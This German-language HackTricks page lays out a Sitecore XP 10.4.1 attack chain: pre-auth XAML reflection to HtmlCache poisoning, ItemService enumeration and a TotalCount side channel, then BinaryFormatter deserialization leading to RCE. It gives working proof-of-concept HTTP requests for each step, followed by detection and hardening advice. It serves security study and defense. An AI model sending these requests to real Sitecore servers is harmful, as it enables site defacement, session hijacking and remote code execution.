Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Reading time: 7 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Diese Seite fasst eine praktische Angriffskette gegen Sitecore XP 10.4.1 zusammen, die von einem pre‑auth XAML handler zu HTML cache poisoning pivots und — über einen authenticated UI flow — zu RCE durch BinaryFormatter deserialization führt. Die Techniken verallgemeinern sich auf ähnliche Sitecore‑Versionen/-Komponenten und liefern konkrete Primitives zum Testen, Erkennen und Härten.

  • Betroffenes Produkt (getestet): Sitecore XP 10.4.1 rev. 011628
  • Behoben in: KB1003667, KB1003734 (Juni/Juli 2025)

Siehe auch:

Cache Poisoning and Cache Deception

Deserialization

Pre‑auth primitive: XAML Ajax reflection → HtmlCache write

Der Einstiegspunkt ist der in web.config registrierte pre‑auth XAML handler:

xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Zugänglich über:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

Der Control-Tree enthält AjaxScriptManager, der bei Event‑Anfragen vom Angreifer kontrollierte Felder ausliest und reflectiv Methoden auf Ziel-Controls aufruft:

csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Wichtige Beobachtung: Die XAML-Seite enthält eine XmlControl-Instanz (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl erbt von Sitecore.Web.UI.WebControl (einer Sitecore-Klasse), die die ReflectionUtil.Filter allow‑list (Sitecore.*) passiert und dadurch Methoden auf Sitecore WebControl freischaltet.

Magische Methode für poisoning:

csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Da wir xmlcontrol:GlobalHeader anvisieren und Sitecore.Web.UI.WebControl-Methoden namentlich aufrufen können, erhalten wir eine pre-auth beliebige HtmlCache write-Primitive.

PoC-Anfrage (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Notes:

  • __SOURCE ist die clientID von xmlcontrol:GlobalHeader innerhalb von Sitecore.Shell.Xaml.WebControl (häufig stabil wie ctl00_ctl00_ctl05_ctl03, da es aus statischem XAML abgeleitet wird).
  • Das Format von __PARAMETERS ist Method("arg1","arg2").

Was zu vergiften ist: Aufbau des Cache-Schlüssels

Typische Konstruktion des HtmlCache-Key, wie sie von Sitecore controls verwendet wird:

csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

Beispiel für gezielte poisoning für ein bekanntes Sublayout:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Auflisten cachefähiger Elemente und “vary by” Dimensionen

Wenn der ItemService anonym (fehl)exponiert ist, kannst du cachefähige Komponenten auflisten, um exakte keys abzuleiten.

Schnelle Probe:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

Liste cachebarer Elemente und Flags:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Suchen Sie nach Feldern wie Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Gerätenamen können über folgendes aufgelistet werden:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration under restricted identities (CVE-2025-53694)

Auch wenn ItemService sich als ein eingeschränktes Konto (z. B. ServicesAPI) ausgibt und ein leeres Results-Array zurückgibt, kann TotalCount weiterhin pre‑ACL Solr‑Treffer widerspiegeln. Du kannst item groups/ids mit wildcards brute-force und beobachten, wie TotalCount konvergiert, um interne Inhalte und Geräte zu kartieren:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)

Sink:

csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Erreichbar über den convertToRuntimeHtml pipeline step ConvertWebControls, der nach einem Element mit der id {iframeId}_inner sucht und dieses base64 decodes + deserializes, anschließend den resultierenden String in das HTML injiziert:

csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Auslösen (authentifiziert, Content Editor‑Rechte). Der FixHtml-Dialog ruft convertToRuntimeHtml auf. End-to-end ohne UI-Klicks:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Komplette Kette

  1. Pre‑auth‑Angreifer vergiften den HtmlCache mit beliebigem HTML, indem sie WebControl.AddToCache reflektiv über XAML AjaxScriptManager aufrufen.
  2. Das vergiftete HTML liefert JavaScript aus, das einen authentifizierten Content Editor durch den FixHtml‑Flow schiebt.
  3. Die FixHtml‑Seite löst convertToRuntimeHtml → ConvertWebControls aus, welches vom Angreifer kontrolliertes base64 via BinaryFormatter deserialisiert → RCE unter der Sitecore‑App‑Pool‑Identität.

Erkennung

  • Pre‑auth XAML: Anfragen an /-/xaml/Sitecore.Shell.Xaml.WebControl mit __ISEVENT=1, verdächtigem __SOURCE und __PARAMETERS=AddToCache(...).
  • ItemService‑Probing: Anstiege von /sitecore/api/ssc Wildcard‑Abfragen, großer TotalCount mit leeren Results.
  • Deserialisierungsversuche: EditHtml.aspx gefolgt von FixHtml.aspx?hdl=... und ungewöhnlich große base64‑Werte in HTML‑Feldern.

Härtung

  • Wende Sitecore‑Patches KB1003667 und KB1003734 an; sperre/deaktiviere pre‑auth XAML‑Handler oder füge strikte Validierung hinzu; überwache und rate‑limitiere /-/xaml/.
  • Entferne/ersetze BinaryFormatter; beschränke den Zugriff auf convertToRuntimeHtml oder erzwinge starke serverseitige Validierung der HTML‑Editing‑Flows.
  • Sichere /sitecore/api/ssc auf Loopback oder authentifizierte Rollen; vermeide Impersonierungs‑Muster, die TotalCount‑basierte side‑channels leak.
  • Erzwinge MFA und least privilege für Content Editor; prüfe CSP, um den Einfluss von JS steering durch cache poisoning zu reduzieren.

References

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks